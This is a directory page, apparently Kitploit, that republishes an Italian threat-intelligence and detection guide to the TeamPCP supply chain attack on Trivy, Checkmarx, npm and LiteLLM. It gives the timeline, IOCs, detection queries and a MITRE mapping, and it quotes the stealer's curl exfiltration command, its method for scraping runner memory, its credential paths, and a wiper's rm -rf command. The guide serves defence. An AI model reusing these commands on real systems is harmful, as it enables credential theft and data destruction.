Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
teampcp-supply-chain-attack — CVE-2026-33634 (CVSS 9.4) — L'attacco alla supply chain CI/CD più impattante del 2026 finora. | Kitploit
Strumenti/GitHubGitHub/ugurrates/teampcp-supply-chain-attack
Sicurezza dei ContenitoriAnalisi MalwareSicurezza CloudThreat IntelligenceSicurezza della Supply ChainApprendimento e FormazioneRisposta agli IncidentiRisorse Curate

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
ugurrates/teampcp-supply-chain-attack

teampcp-supply-chain-attack

CVE-2026-33634 (CVSS 9.4) — L'attacco alla supply chain CI/CD più impattante del 2026 finora.

Vedi Repository
11341 mese faNon ancora revisionato

Attacco alla Supply Chain di TeamPCP: Guida Tecnica e al Rilevamento

CVE-2026-33634 (CVSS 9.4) — L'attacco alla supply chain CI/CD più impattante del 2026 finora.

Tra il 19 e il 25 marzo 2026, l'attore della minaccia TeamPCP (monitorato anche come DeadCatx3, PCPcat, ShellForce, CanisterWorm) ha eseguito una compromissione a catena della supply chain in cinque ecosistemi: GitHub Actions, Docker Hub, OpenVSX, npm e PyPI. Partendo da un singolo PAT GitHub non ruotato completamente, la campagna si è diffusa in due importanti vendor di sicurezza open-source (Aqua Security e Checkmarx), quattro repository GitHub Actions, due estensioni VS Code, registry di container e oltre 66 pacchetti npm.

Questo repository fornisce una completa analisi tecnica, liste IOC curate (testate per falsi positivi) e query di rilevamento pronte per la distribuzione in Microsoft Defender XDR.


Sommario

  • Cronologia dell'Attacco
  • Analisi della Kill Chain
  • Artifact Compromessi
  • Meccaniche del Credential Stealer
  • CanisterWorm — Propagazione npm
  • Componente Wiper Mirato all'Iran
  • Rilevamento e Hunting
  • Lista IOC
  • Note sul Filtraggio dei Falsi Positivi
  • Mapping MITRE ATT&CK
  • Riferimenti

Cronologia dell'Attacco


Analisi della Kill Chain

Fase 1 — Accesso Iniziale

Causa principale: rotazione incompleta delle credenziali dopo la violazione del 28 febbraio. Il PAT dell'account di servizio aqua-bot non è stato revocato oppure l'attaccante ha osservato il nuovo token durante la rotazione.

TeamPCP ha usato questo accesso mantenuto per force-pushare i tag di versione verso commit malevoli impostori. Ogni commit contraffatto clonava i metadati dell'originale (autore, timestamp, messaggio) mentre sostituiva lo script di entry point con il payload stealer. La pagina di rilascio di GitHub non mostrava alcun cambiamento visibile — persino il badge "Immutable" veniva visualizzato normalmente.

Fase 2 — Esecuzione del Payload

Lo stealer — un entrypoint.sh di 204 righe che si auto-identifica come "TeamPCP Cloud stealer" — esegue un attacco in tre fasi:

Fase 1: Scraping della Memoria

root@kitploit:~
Legge /proc/<pid>/mem dai processi Runner.Worker
Cerca il pattern: {"value":"<secret>","isSecret":true}
Estrae PAT GitHub, credenziali cloud, chiavi API dalla memoria del runner

Fase 2: Scansione delle Credenziali nel Filesystem

Scansiona oltre 50 percorsi sensibili tra cui:

  • Chiavi SSH (~/.ssh/*)
  • Credenziali AWS/GCP/Azure
  • Token e config Kubernetes
  • Credenziali dei registry Docker
  • File di stato Terraform
  • Wallet crypto (Solana, Bitcoin, Ethereum, Cardano)
  • Token npm (~/.npmrc)
  • Cronologie della shell
  • File .env

Fase 3: Esfiltrazione Cifrata

  • Raggruppa tutti i dati raccolti in tpcp.tar.gz
  • Cifra con AES-256-CBC (chiave di sessione casuale) + RSA-4096/RSA-OAEP (chiave pubblica dell'attaccante)
  • Esfiltra tramite curl POST verso domini typosquat specifici del vendor
  • Fallback: crea un repo tpcp-docs o docs-tpcp nell'account GitHub della vittima usando il GITHUB_TOKEN rubato

Fase 3 — Persistenza

Su sistemi Linux non-CI, il malware:

  1. Crea la directory nascosta ~/.config/sysmon/
  2. Rilascia una backdoor Python (sysmon.py)
  3. Installa un servizio systemd utente che interroga il C2 ogni 50 minuti
  4. Kill switch: se la risposta del C2 contiene "youtube", la backdoor salta l'esecuzione

Fase 4 — Movimento Laterale (Onda Checkmarx)

Le credenziali rubate durante l'onda Trivy hanno permesso la compromissione dell'ecosistema Checkmarx. Ogni nuova onda utilizzava un dominio C2 typosquat diverso per eludere le blocklist dell'onda precedente:

OndaDominio C2Typosquat Di
Trivyscan.aquasecurtiy[.]orgaquasecurity.org

Artifact Compromessi

GitHub Actions

Estensioni OpenVSX (VS Code Marketplace NON coinvolto)

EstensioneVersione MalevolaVersione Sicura
checkmarx.ast-results2.53.0>= 2.56.0
checkmarx.cx-dev-assist1.7.0>= 1.10.0

Entrambe le estensioni sono state pubblicate a 12 secondi di distanza alle 12:53 UTC del 23 marzo tramite l'account ast-phoenix. All'attivazione, environmentAuthChecker.js verifica la presenza di credenziali di provider cloud, quindi scarica uno stealer di seconda fase da checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.

Immagini Container

ImmagineTag Malevoli
docker.io/aquasec/trivy0.69.4, 0.69.5, 0.69.6
ghcr.io/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6
public.ecr.aws/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6

PyPI

PacchettoVersioniFile Backdoored
litellm1.82.7, 1.82.8litellm/proxy/proxy_server.py

Payload base64 triplamente annidato con toolkit di movimento laterale K8s. Persistenza tramite sysmon.service che interroga checkmarx.zone/raw.


Meccaniche del Credential Stealer

Il pattern di esfiltrazione è identico in tutte le onde:

root@kitploit:~
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz

La strategia dei domini typosquat è deliberata: un analista che esamina i log CI/CD vede traffico curl verso quello che sembra il dominio del vendor dell'azione stessa. Senza un confronto attento, scan.aquasecurtiy.org passa per aquasecurity.org in una revisione rapida dei log.

Solo l'attaccante può decifrare i dati rubati — la chiave di sessione AES è cifrata RSA-OAEP con la sua chiave pubblica.


CanisterWorm — Propagazione npm

Entro 24 ore dalla compromissione di Trivy, i token npm rubati hanno permesso la diffusione di un worm auto-propagante attraverso oltre 66 pacchetti (141 artifact malevoli).

Cosa rende notevole CanisterWorm:

  • Primo malware npm documentato che usa un canister ICP (Internet Computer Protocol) blockchain come C2
  • Il canister su tdtqy-oyaaa-aaaae-af2dq-cai è uno smart contract decentralizzato — nessun singolo punto di rimozione
  • Espone 3 metodi: get_latest_link, http_request, update_link
  • L'attaccante può ruotare i payload su tutte le macchine infette senza ripubblicare alcun pacchetto npm
  • Kill switch: se il canister restituisce un URL contenente youtube.com, la backdoor dorme
  • Persistenza: servizio systemd utente camuffato da pgmon (monitoraggio PostgreSQL)
  • Intervallo di polling: ogni 50 minuti
  • Binario rilasciato in /tmp/pglog, stato tracciato in /tmp/.pg_state

Scope compromessi noti: @emilgroup/*, @teale.io/* (variante auto-propagante in @teale.io/eslint-config v1.8.11, v1.8.12)


Componente Wiper Mirato all'Iran

Una variante distruttiva prende di mira specificamente i sistemi iraniani:

  1. Kubernetes + Iran: distribuisce DaemonSet privilegiati su ogni nodo (incluso il control plane), cancella e forza il riavvio tramite il container chiamato kamikaze
  2. Kubernetes + non-Iran: installa la backdoor CanisterWorm come servizio systemd
  3. Non-K8s + Iran: esegue rm -rf / --no-preserve-root con sudo
  4. Non-K8s + non-Iran: nessuna azione

Il rilevamento avviene tramite controlli del fuso orario e delle impostazioni locali del sistema.


Rilevamento e Hunting

Microsoft Defender XDR — Regola di Rilevamento Personalizzata

Nome regola: TeamPCP Supply Chain C2 and Malware IOC Match
Gravità: Alta
Categoria: CommandAndControl
Frequenza: Ogni 1 ora

Consulta detection/defender_xdr_query.kql per la query KQL completa.

La query copre:

  • 7 hash SHA256 di file (varianti stealer + CanisterWorm)
  • 2 indirizzi IP C2
  • 4 domini C2 (typosquat + canister ICP)
  • 4 URL C2 specifici
  • Controlli di risoluzione DNS

Importazione Indicatori Defender TI

È fornito un CSV pronto per l'importazione in iocs/FINAL_TeamPCP_IOC_25Mar2026.csv. Questo file è stato testato per falsi positivi in un ambiente enterprise di produzione.

Altre Piattaforme

PiattaformaRilevamento
Palo Alto Cortex XDRRegola ioc.linux.shaihulud.2 — accesso alle credenziali sui runner GitHub Actions
Sysdig/FalcoContact EC2 Instance Metadata Service From Container, ,

Lista IOC

Hash File (SHA256)

IOC di Rete

Percorsi URL C2

URLFunzione
checkmarx[.]zone/static/checkmarx-util-1.0.4.tgzDownload payload di seconda fase

Artifact di Persistenza

Repo GitHub di Esfiltrazione (Fallback)

NomeOnda
tpcp-docsTrivy
docs-tpcpCheckmarx

Note sul Filtraggio dei Falsi Positivi

Le query di rilevamento e il CSV IOC in questo repo sono stati testati in un ambiente di produzione con:

  • Ansible AWX/Tower con le collection community.general e kubernetes.core
  • Claude Code e GitHub Copilot su workstation di sviluppo macOS
  • Agente FortiMonitor (polling IMDS)
  • Oracle AHF su istanze OCI (polling IMDS)
  • Varie toolchain di sviluppo Python/Node.js

I seguenti IOC sono stati rimossi a causa di falsi positivi confermati:


Mapping MITRE ATT&CK


Riferimenti


Licenza

MIT — Usa, condividi, adatta liberamente. Attribuzione apprezzata.


Autore: Ugur Can Ates — SOC Team Lead & Senior Security Engineer
Ultimo aggiornamento: 25 marzo 2026

Scarica lo strumento
Data (UTC)Evento
20 feb 2026Creato l'account hackerbot-claw; inizia la scansione dei repo per workflow pull_request_target sfruttabili
28 feb 2026Prima compromissione di Trivy tramite PWN request; credenziali esfiltrate
1 mar 2026Aqua Security tenta il contenimento — rotazione delle credenziali incompleta
19 mar, 17:43Attacco principale: TeamPCP force-pusha 75/76 tag in aquasecurity/trivy-action + tutti e 7 i tag in setup-trivy tramite l'account di servizio compromesso aqua-bot
19 mar, 18:22Trivy v0.69.4 backdoored pubblicato su GitHub Releases, Docker Hub, GHCR, ECR
20 mar, 05:40La finestra di compromissione di Trivy-action si chiude (~12 ore)
20 mar, 20:45CanisterWorm rilevato mentre si diffonde su npm — oltre 47 pacchetti compromessi
22 mar, 20:31TeamPCP sfregia tutti i 44 repo dell'organizzazione GitHub aquasec-com in un burst scriptato di 2 minuti
22 marImmagini Docker Hub 0.69.5 e 0.69.6 pubblicate con lo stesso payload stealer
23 mar, 02:53Inizia l'onda Checkmarx: pubblicati su OpenVSX ast-results v2.53.0 e cx-dev-assist v1.7.0 malevoli tramite l'account ast-phoenix
23 mar, 12:58Tutti i 35 tag di Checkmarx/kics-github-action force-pushati tramite l'account compromesso cx-plugins-releases
23 mar, 15:41Checkmarx segnala il problema OpenVSX come risolto
23 mar, 16:50KICS GitHub Action rimosso dopo la segnalazione di un utente
23 mar, 22:25Sysdig segnala che anche Checkmarx/ast-github-action v2.3.28 è compromesso
24 mar, 08:30Onda LiteLLM: pubblicate su PyPI le versioni trojanizzate litellm v1.82.7 e v1.82.8 usando credenziali rubate
24 mar, 11:25PyPI mette in quarantena le versioni malevole di LiteLLM
Checkmarx/KICScheckmarx[.]zonecheckmarx.com
LiteLLMmodels.litellm[.]cloudlitellm.ai
RepositoryTag CompromessiFinestra di Esposizione (UTC)Entry Point
aquasecurity/trivy-action75 su 76 (salvo: 0.35.0)19 mar 17:43 – 20 mar 05:40entrypoint.sh
aquasecurity/setup-trivyTutti e 7 i tag19 mar 17:43 – 21:44action.yaml
Checkmarx/kics-github-actionTutti e 35 i tag23 mar 12:58 – 16:50setup.sh
Checkmarx/ast-github-actionv2.3.28 (probabilmente tutti)23 mar ~22:25+setup.sh
Curl Exfiltrating File
Exfiltration of AWS IMDS Credentials Using LOTL Binary
HashDescrizioneFonte
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671aentrypoint.sh malevolo di TrivyPhoenix Security
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926CanisterWorm Onda 4 — forma finaleAikido Security
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3aCanisterWorm Onda 3 — test auto-propaganteAikido Security
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4baCanisterWorm Onda 2 — backdoor ICP armataAikido Security
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152CanisterWorm Onda 1 — deploy.jsAikido Security
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7CanisterWorm Onda 2 — deploy.jsAikido Security
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956CanisterWorm Onda 3+ — deploy.js minificatoAikido Security
IndicatoreTipoScopo
83.142.209.11IPServer C2 (checkmarx.zone)
45.148.10.212IPServer C2 (scan.aquasecurtiy.org)
checkmarx[.]zoneDominioC2 — onda Checkmarx/KICS/LiteLLM
scan.aquasecurtiy[.]orgDominioC2 — onda Trivy
models.litellm[.]cloudDominioC2 — onda PyPI LiteLLM
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]ioDominioC2 dead-drop canister ICP
checkmarx[.]zone/vsx
Endpoint di esfiltrazione
checkmarx[.]zone/rawPolling di persistenza (50 min)
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io/C2 canister ICP
PercorsoScopo
~/.config/sysmon/Directory della backdoor
~/.config/sysmon.pyBackdoor Python
~/.config/systemd/user/sysmon.servicePersistenza systemd
~/.config/systemd/user/pgmon.servicePersistenza CanisterWorm (camuffata da PostgreSQL)
/tmp/pglogBinario scaricato
/tmp/.pg_stateStato del polling C2
IOCFonte FP
setup.sh (nome file)Collection Ansible, cache plugin Claude Code, script Bitnami
service.py (nome file)Ansible module_utils, protobuf, boto3, FreeIPA, core K8s
deploy.js (nome file)File standard npm/node
169.254.169.254 (IP IMDS)Agente FortiMonitor, Oracle AHF — monitoraggio legittimo
icp0.io (dominio padre)Troppo ampio, intercetta traffico ICP legittimo
hooks.slack.com (cmdline)Integrazioni Slack legittime
discord.com/api/webhooks (cmdline)Integrazioni Discord legittime
TecnicaIDContesto
Supply Chain Compromise: Software DependenciesT1195.002Avvelenamento dei tag GitHub Actions, OpenVSX, npm, PyPI
Unsecured Credentials: Cloud Instance Metadata APIT1552.005Furto di AWS IMDS dai runner CI
Credentials from Password StoresT1555Scansione delle credenziali nel filesystem (oltre 50 percorsi)
OS Credential DumpingT1003Scraping di /proc/mem di Runner.Worker
Exfiltration Over C2 ChannelT1041tpcp.tar.gz cifrato verso domini typosquat
Web ServiceT1102C2 dead-drop canister ICP
Systemd ServiceT1543.002Persistenza pgmon.service, sysmon.service
Ingress Tool TransferT1105Download di checkmarx-util-1.0.4.tgz
Acquire Infrastructure: DomainsT1583.001Domini typosquat per ogni onda
FonteLink
Wiz — Compromissione KICShttps://www.wiz.io/blog/teampcp-attack-kics-github-action
Wiz — Compromissione Trivyhttps://www.wiz.io/blog/trivy-compromised-teampcp-supply-chain-attack
Sysdig TRT — Espansione Checkmarxhttps://www.sysdig.com/blog/teampcp-expands-supply-chain-compromise-spreads-from-trivy-to-checkmarx-github-actions
Checkmarx Ufficialehttps://checkmarx.com/blog/checkmarx-security-update/
Phoenix Security — Timeline Completahttps://phoenix.security/teampcp-supply-chain-attack-trivy-checkmarx-github-actions-npm-canisterworm/
Aikido Security — CanisterWormhttps://www.aikido.dev/blog/teampcp-deploys-worm-npm-trivy-compromise
Endor Labs — LiteLLMhttps://www.endorlabs.com/learn/teampcp-isnt-done
Mend — CanisterWormhttps://www.mend.io/blog/canisterworm-the-self-spreading-npm-attack-that-uses-a-decentralized-server-to-stay-alive/
Socket — Compromissione npmhttps://socket.dev/blog/canisterworm-npm-publisher-compromise-deploys-backdoor-across-29-packages
StepSecurity — Analisi Trivyhttps://www.stepsecurity.io/blog/trivy-compromised-a-second-time---malicious-v0-69-4-release
JFrog — Analisi Estesahttps://research.jfrog.com/post/canister-worm/
Rami McCarthy — Timeline IOChttps://ramimac.me/trivy-teampcp/